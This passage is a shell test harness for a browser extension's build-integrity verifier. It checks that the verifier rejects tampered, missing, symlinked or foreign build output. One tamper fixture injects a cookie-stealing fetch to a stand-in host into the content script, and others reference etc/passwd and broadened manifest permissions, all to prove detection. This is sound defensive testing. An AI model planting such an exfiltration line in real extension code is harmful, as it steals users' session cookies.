#!/bin/sh # script/test-verify-build: exercise every failure mode of # script/verify-build. Our own extension to scripts-to-rule-them-all, run # from script/check so make check covers it. # # Why this exists: verify-build is the build-integrity guard, and four separate # reviews of it each found a fresh vacuous pass — the grep exit-2 conflation, # the discarded find status, the line-delimited walk, and then the two the # receipt replaced: an expectation read out of the verifier's own environment, # and a file list read back out of the tree it was supposed to vouch for. Every # one was caught by someone building a tree by hand, because nothing in make # check could catch it. This is that hand battery, committed and automated. # # Each case asserts the exit status AND a substring of the message. A guard # that fails for the wrong reason (right status, different fault) is itself a # defect, so matching the status alone would not be a test of anything. # # The fixture is a temp tree containing script/verify-build as a SYMLINK to # the real script: verify-build takes its ROOT from dirname "$0"/.., so it # operates on the fixture's dist/ and never reads or writes the repo's build # output. The symlink rather than a copy is what makes a deliberate break in # the real script fail here. The fixture's receipt is written from the bytes # the fixture actually holds, exactly as a build writes one from the bytes it # emitted; a case that means "the build emitted this" regenerates it, and a # case that means "something changed dist/ afterwards" does not. # # The sha256 command is selected here independently of the one verify-build # picks. That is deliberate: a harness that reused the implementation's helper # would agree with it even when it is wrong. set -eu ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" VERIFY_BUILD="$ROOT/script/verify-build" MARKER_ON="autistmask-build-debug=on" MARKER_OFF="autistmask-build-debug=off" RECEIPT_HEADER="autistmask-build-receipt v1" NEWLINE=' ' PASSED=0 FAILED=0 SKIPPED=0 SKIPPED_NAMES="" # The command prefix that runs the permission-dependent cases as a user who # is actually subject to file permissions, and whether those cases can run at # all. Both are decided by probe_permission_runner, never assumed. UNPRIV="" PERM_ENABLED=no PERM_HOW="" # The sha256 command, chosen by pick_sha256_tool. SHA256_CMD="" WORK="" cleanup() { [ -n "$WORK" ] || return 0 # The cases chmod 000 files and directories on purpose. chmod -R u+rwX "$WORK" 2>/dev/null || true rm -rf "$WORK" } trap cleanup EXIT INT TERM WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")" FIXTURE="$WORK/fixture" # The build receipt for the fixture, kept outside the fixture's dist/ — and # outside the fixture altogether — because that is where a real one lives. RECEIPT="$WORK/receipt" # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside # our work dir keeps the run leaving no residue, and keeps it writable for the # unprivileged user the permission cases run as. TMPDIR="$WORK/tmp" export TMPDIR mkdir -p "$TMPDIR" chmod 1777 "$TMPDIR" chmod 755 "$WORK" # --- fixture --------------------------------------------------------------- # The emitted tree a build of this repo produces in miniature: audited bundles # (A) that must carry a marker, and plain emitted files (P) that must not — # including the content script, which runs on every page, and the manifest, # neither of which the pre-receipt verifier read at all. FIXTURE_FILES="A dist/chrome/src/popup/index.js A dist/firefox/src/popup/index.js P dist/chrome/src/content/index.js P dist/chrome/manifest.json P dist/styles.css" FIXTURE_REAL="" # A stand-in for an emitted bundle: some text plus one marker literal, which # is all verify-build reads out of the real thing beyond its digest. write_bundle() { printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1" } # Digest of $1, taken with the harness's own sha256 command. fixture_sha256() { # Word-split on purpose: SHA256_CMD is a command with its arguments. # shellcheck disable=SC2086 _fs_out="$($SHA256_CMD "$1")" printf '%s' "${_fs_out%% *}" } # Write the fixture's receipt, with a substitutable header and root line so the # cases can hand verify-build a receipt that is not one. write_receipt_custom() { _wrc_header="$1" _wrc_root="$2" chmod u+rw "$RECEIPT" 2>/dev/null || true rm -f "$RECEIPT" ( cd "$FIXTURE" printf '%s\n' "$_wrc_header" printf 'root %s\n' "$_wrc_root" _saved_ifs="$IFS" IFS="$NEWLINE" for _entry in $FIXTURE_FILES; do IFS="$_saved_ifs" _flag="${_entry%% *}" _path="${_entry#* }" printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \ "$_flag" "$_path" IFS="$NEWLINE" done IFS="$_saved_ifs" ) >"$RECEIPT" # Readable by the unprivileged user the permission cases run as, whatever # umask this process has, until a case takes that away on purpose. chmod 644 "$RECEIPT" } write_receipt() { write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL" } build_fixture() { chmod -R u+rwX "$FIXTURE" 2>/dev/null || true rm -rf "$FIXTURE" mkdir -p "$FIXTURE/script" ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build" mkdir -p "$FIXTURE/dist/chrome/src/popup" \ "$FIXTURE/dist/chrome/src/content" \ "$FIXTURE/dist/firefox/src/popup" write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF" printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js" printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json" printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css" FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)" write_receipt # Readable and traversable by the unprivileged user the permission cases # run as, before those cases take that away again on purpose. chmod -R a+rX "$FIXTURE" } # --- permission runner ------------------------------------------------------ # Run a command through the current unprivileged runner. Unquoted on purpose: # UNPRIV is a command prefix that has to word-split. run_unpriv() { # shellcheck disable=SC2086 $UNPRIV "$@" } # Decide whether the permission-dependent cases can run, and prove it rather # than assuming it. # # The problem: the CI image declares no USER, so CI runs as root, and root is # not subject to file permissions — chmod 000 stops neither find nor grep. A # permission case run as root passes vacuously, which is worse than no case at # all because it reads as coverage. # # So the runner is validated with two probes before any permission case is # counted: # # - a mode-644 file MUST be readable through it. If not, the runner itself # is broken (missing helper, no such user, sandbox), and every case run # through it would fail for the wrong reason. # - a mode-000 file MUST NOT be readable through it. If it is, permissions # are not in force and the cases would pass without proving anything. # # Unprivileged: the runner is empty and both probes are about this process, # which is the honest answer. Root: setpriv and runuser are tried, both # present in the pinned CI base image. Only when no candidate passes both # probes are the cases skipped, and a skipped run says so unmistakably. probe_permission_runner() { _probe="$WORK/probe" mkdir -p "$_probe" printf 'readable\n' >"$_probe/public" printf 'secret\n' >"$_probe/private" chmod 755 "$_probe" chmod 644 "$_probe/public" chmod 000 "$_probe/private" if [ "$(id -u)" -eq 0 ]; then _candidates="setpriv|setpriv --reuid=65534 --regid=65534 --clear-groups -- runuser|runuser -u nobody --" else _candidates="direct|" fi _tried="" _saved_ifs="$IFS" IFS="$NEWLINE" for _line in $_candidates; do IFS="$_saved_ifs" _label="${_line%%|*}" _cmd="${_line#*|}" _tried="${_tried:+$_tried, }$_label" if [ -n "$_cmd" ]; then _bin="${_cmd%% *}" command -v "$_bin" >/dev/null 2>&1 || continue fi UNPRIV="$_cmd" # Broken or unusable runner: the cases would fail for the wrong # reason. Reaching the script under test is part of usable. run_unpriv cat "$_probe/public" >/dev/null 2>&1 || continue run_unpriv cat "$VERIFY_BUILD" >/dev/null 2>&1 || continue # Permissions not in force through this runner: the cases would pass # without testing anything. if run_unpriv cat "$_probe/private" >/dev/null 2>&1; then continue fi PERM_ENABLED=yes PERM_HOW="$_label" IFS="$_saved_ifs" return 0 done IFS="$_saved_ifs" UNPRIV="" PERM_ENABLED=no PERM_HOW="$_tried" } # --- case runner ------------------------------------------------------------ # How verify-build is invoked for a case. The arguments are literal here rather # than assembled from a string, so nothing about a case's invocation depends on # word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the # verifier ignores it — that is the whole of the ambient-environment defect. run_verify() { _rv_variant="$1" _rv_perm="$2" _rv_bin="$FIXTURE/script/verify-build" case "$_rv_variant" in release | release-envdebug) set -- --expect release --receipt "$RECEIPT" ;; debug) set -- --expect debug --receipt "$RECEIPT" ;; no-expect) set -- --receipt "$RECEIPT" ;; no-receipt) set -- --expect release ;; bad-expect) set -- --expect maybe --receipt "$RECEIPT" ;; unknown-arg) set -- --expect release --receipt "$RECEIPT" --force ;; receipt-in-dist) set -- --expect release --receipt "$FIXTURE/dist/receipt.txt" ;; *) echo "test-verify-build: unknown variant $_rv_variant" >&2 exit 1 ;; esac if [ "$_rv_perm" = yes ]; then run_unpriv "$_rv_bin" "$@" else "$_rv_bin" "$@" fi } # check_case # # Rebuilds the fixture, applies inside it, runs verify-build, and # requires both the exit status and the message. marks a case that only # means anything when file permissions are in force. check_case() { _name="$1" _perm="$2" _variant="$3" _want_status="$4" _want_text="$5" _setup="$6" if [ "$_perm" = yes ] && [ "$PERM_ENABLED" != yes ]; then SKIPPED=$((SKIPPED + 1)) SKIPPED_NAMES="$SKIPPED_NAMES## - $_name$NEWLINE" echo " SKIP (permissions not in force): $_name" return 0 fi build_fixture if ! (cd "$FIXTURE" && "$_setup") >/dev/null 2>&1; then FAILED=$((FAILED + 1)) echo " FAIL: $_name" echo " the case's own setup failed, so nothing was tested." return 0 fi # Exported rather than set as a command prefix: run_verify may go through # run_unpriv, which is a function, and an assignment prefixed to a function # call is not portable. Every other case unsets it, so the environment this # harness happens to run in cannot decide anything. case "$_variant" in *envdebug) AUTISTMASK_DEBUG=1 export AUTISTMASK_DEBUG ;; *) unset AUTISTMASK_DEBUG || true ;; esac _status=0 _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$? _ok=yes _why="" if [ "$_status" -ne "$_want_status" ]; then _ok=no _why="exit status $_status, wanted $_want_status" fi # Same discipline verify-build itself applies to grep: 0 and 1 are # answers, anything else is not, and must not be read as "no match". _g=0 printf '%s\n' "$_out" | grep -q -F -e "$_want_text" || _g=$? case "$_g" in 0) ;; 1) _ok=no _why="${_why:+$_why; }message did not contain: $_want_text" ;; *) _ok=no _why="${_why:+$_why; }grep exited $_g matching the message, so the message was never checked" ;; esac if [ "$_ok" = yes ]; then PASSED=$((PASSED + 1)) echo " ok: $_name" return 0 fi FAILED=$((FAILED + 1)) echo " FAIL: $_name" echo " $_why" echo " --- verify-build output ---" printf '%s\n' "$_out" | sed 's/^/ /' echo " --- end output ---" } # --- cases ------------------------------------------------------------------ # # Each runs with the fixture as its working directory. A case that regenerates # the receipt is saying "this is what the build emitted"; one that does not is # saying "the build emitted something else and this happened afterwards". c_control() { :; } c_trailing_space() { cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js " } c_embedded_newline() { cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js$NEWLINE" } c_dist_symlink() { mv dist dist.real ln -s dist.real dist } c_unwalkable_subtree() { chmod 000 dist/chrome/src/content; } c_dangling_symlink() { ln -s /nonexistent-target-for-test-verify-build dist/chrome/dangling.js } c_dir_symlink() { ln -s src dist/chrome/link-to-dir; } c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; } c_receipt_missing() { rm "$RECEIPT"; } c_receipt_empty() { : >"$RECEIPT"; } c_receipt_unreadable() { chmod 000 "$RECEIPT"; } c_receipt_bad_header() { write_receipt_custom "some other file entirely" "$FIXTURE_REAL" } c_receipt_other_tree() { write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout" } c_receipt_path_with_space() { write_receipt printf 'file %s P dist/two words.js\n' \ "0000000000000000000000000000000000000000000000000000000000000000" \ >>"$RECEIPT" } c_receipt_path_outside_dist() { write_receipt printf 'file %s P etc/passwd\n' \ "0000000000000000000000000000000000000000000000000000000000000000" \ >>"$RECEIPT" } c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; } c_emitted_missing() { rm dist/chrome/src/popup/index.js; } c_emitted_empty() { : >dist/chrome/src/popup/index.js; } c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; } c_extra_file_with_marker() { cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs } c_extra_file_no_marker() { printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js } # The four demonstrated bypasses of the pre-receipt verifier. # A 26-byte file whose entire content is the marker string used to verify ok. c_marker_only_stub() { printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js } # The content script runs on every page the browser loads and was never read. c_tampered_content_script() { printf 'fetch("https://example.invalid/"+document.cookie);\n' \ >>dist/chrome/src/content/index.js } # The manifest decides permissions and CSP and was never read either. c_tampered_manifest() { printf '{"manifest_version":3,"host_permissions":[""]}\n' \ >dist/chrome/manifest.json } # A dist/ that has nothing to do with this build, carrying the right file # names and the right marker, offered against this build's receipt. c_foreign_dist() { rm -rf dist mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF" write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF" printf 'var hostile=1;\n' >dist/chrome/src/content/index.js printf '{"manifest_version":3}\n' >dist/chrome/manifest.json printf 'body{color:#fff}\n' >dist/styles.css } # Cases that state what the build itself emitted, and so regenerate the # receipt over the changed bytes. c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js write_receipt } c_both_markers() { printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js write_receipt } c_marker_on_plain_file() { printf 'var c=3;/* %s */\n' "$MARKER_OFF" \ >dist/chrome/src/content/index.js write_receipt } c_debug_build() { write_bundle dist/chrome/src/popup/index.js "$MARKER_ON" write_bundle dist/firefox/src/popup/index.js "$MARKER_ON" write_receipt } # --- Makefile wiring -------------------------------------------------------- # The verifier cases above prove what verify-build does when it is told what to # expect. This proves the Makefile tells it — with the mode as an argument, on # a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is # exported in the shell that ran make. Read off `make -n`, so no build runs. check_makefile_wiring() { if ! command -v make >/dev/null 2>&1; then SKIPPED=$((SKIPPED + 1)) SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE" echo " SKIP (make not found): Makefile wiring" return 0 fi # make build must ask for release, and must scrub the flag from the # verifier's environment, even when the caller has it exported. _wiring_case "make build passes --expect release" \ build "verify-build --expect release" _wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \ build "env -u AUTISTMASK_DEBUG" _wiring_case "make build-debug passes --expect debug" \ build-debug "verify-build --expect debug" _wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \ build-debug "env -u AUTISTMASK_DEBUG" } _wiring_case() { _wc_name="$1" _wc_target="$2" _wc_want="$3" AUTISTMASK_DEBUG=1 export AUTISTMASK_DEBUG _wc_status=0 _wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$? unset AUTISTMASK_DEBUG if [ "$_wc_status" -ne 0 ]; then FAILED=$((FAILED + 1)) echo " FAIL: $_wc_name" echo " make -n $_wc_target exited $_wc_status" return 0 fi _wc_g=0 printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$? case "$_wc_g" in 0) PASSED=$((PASSED + 1)) echo " ok: $_wc_name" ;; 1) FAILED=$((FAILED + 1)) echo " FAIL: $_wc_name" echo " make -n $_wc_target does not run: $_wc_want" ;; *) FAILED=$((FAILED + 1)) echo " FAIL: $_wc_name" echo " grep exited $_wc_g, so the recipe was never checked" ;; esac } run_cases() { check_case "control: untouched dist passes" \ no release 0 "2 bundle(s) $MARKER_OFF" c_control check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \ no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control check_case "debug bundles under --expect release fail (make build with AUTISTMASK_DEBUG=1 exported)" \ no release-envdebug 1 \ "is $MARKER_ON but this build was told to expect" c_debug_build check_case "debug bundles under --expect debug pass" \ no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build check_case "no --expect argument" \ no no-expect 1 "no --expect argument." c_control check_case "no --receipt argument" \ no no-receipt 1 "no --receipt argument." c_control check_case "--expect takes release or debug" \ no bad-expect 1 "--expect takes release or debug" c_control check_case "unknown argument" \ no unknown-arg 1 "unknown argument: --force" c_control check_case "receipt inside the tree it describes" \ no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist check_case "bundle replaced by a file containing only the marker" \ no release 1 "does not contain the bytes this build emitted" \ c_marker_only_stub check_case "content script tampered with after the build" \ no release 1 \ "dist/chrome/src/content/index.js does not contain the bytes" \ c_tampered_content_script check_case "manifest.json tampered with after the build" \ no release 1 "dist/chrome/manifest.json does not contain the bytes" \ c_tampered_manifest check_case "hand-written dist/ offered against this build's receipt" \ no release 1 "does not contain the bytes this build emitted" \ c_foreign_dist check_case "extra file under dist/ carrying a marker" \ no release 1 \ "dist/chrome/src/popup/extra.mjs is under dist/ but the build" \ c_extra_file_with_marker check_case "extra file under dist/ carrying no marker" \ no release 1 \ "dist/chrome/src/popup/vendor.js is under dist/ but the build" \ c_extra_file_no_marker check_case "extra file, trailing space in name" \ no release 1 "is under dist/ but the build that just ran did not emit" \ c_trailing_space check_case "extra file, newline in name" \ no release 1 "is under dist/ but the build that just ran did not emit" \ c_embedded_newline check_case "dist/ replaced by a symlink" \ no release 1 "dist is a symlink, not a directory." c_dist_symlink check_case "unwalkable subtree under dist/" \ yes release 1 "enumerating dist/, so part of the tree" \ c_unwalkable_subtree check_case "dangling symlink under dist/" \ no release 1 \ "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink check_case "symlink to a directory under dist/" \ no release 1 \ "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink check_case "symlink aliasing an emitted bundle under another path" \ no release 1 \ "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink check_case "receipt missing" \ no release 1 "is missing. build.js writes it" c_receipt_missing check_case "receipt empty" \ no release 1 "is empty, so the build wrote nothing to it" \ c_receipt_empty check_case "receipt unreadable" \ yes release 1 "is not readable, so nothing was inspected." \ c_receipt_unreadable check_case "receipt is not a build receipt" \ no release 1 "does not start with" c_receipt_bad_header check_case "receipt from a different checkout" \ no release 1 "was written by a build of a different tree" \ c_receipt_other_tree check_case "receipt names a path containing a space" \ no release 1 "cannot be read back unambiguously" \ c_receipt_path_with_space check_case "receipt names a path outside dist/" \ no release 1 "names a path that is not under dist/" \ c_receipt_path_outside_dist check_case "emitted file missing" \ no release 1 \ "names dist/chrome/src/popup/index.js, which does not exist." \ c_emitted_missing check_case "emitted file empty" \ no release 1 "which is empty. An empty file" c_emitted_empty check_case "emitted file unreadable" \ yes release 1 \ "on dist/chrome/src/popup/index.js, so its bytes were never read" \ c_emitted_unreadable check_case "emitted bundle carries no marker" \ no release 1 "carries no debug marker, so its DEBUG state cannot be" \ c_no_marker check_case "emitted bundle carries both markers" \ no release 1 "carries both debug markers, so DEBUG was not resolved" \ c_both_markers check_case "marker on a file the build did not record as a bundle" \ no release 1 "carries a debug marker but the build did not" \ c_marker_on_plain_file check_makefile_wiring } # --- main -------------------------------------------------------------------- # The harness cannot build a receipt without a digest, so a missing sha256 # command is a failure here rather than a silent reduction in coverage. pick_sha256_tool() { if command -v sha256sum >/dev/null 2>&1; then SHA256_CMD="sha256sum" elif command -v shasum >/dev/null 2>&1; then SHA256_CMD="shasum -a 256" elif command -v openssl >/dev/null 2>&1; then SHA256_CMD="openssl dgst -sha256 -r" else echo "test-verify-build: no sha256 command found (tried sha256sum," \ "shasum, openssl), so no fixture receipt can be written" >&2 exit 1 fi } main() { cd "$ROOT" [ -x "$VERIFY_BUILD" ] || { echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2 exit 1 } echo "Testing script/verify-build failure modes..." pick_sha256_tool probe_permission_runner if [ "$PERM_ENABLED" = yes ]; then echo " permission cases: enabled (runner: $PERM_HOW, proved against" \ "a mode-000 file)" fi run_cases if [ "$FAILED" -ne 0 ]; then echo "test-verify-build: $FAILED case(s) FAILED," \ "$PASSED passed, $SKIPPED skipped" >&2 exit 1 fi if [ "$SKIPPED" -ne 0 ]; then cat <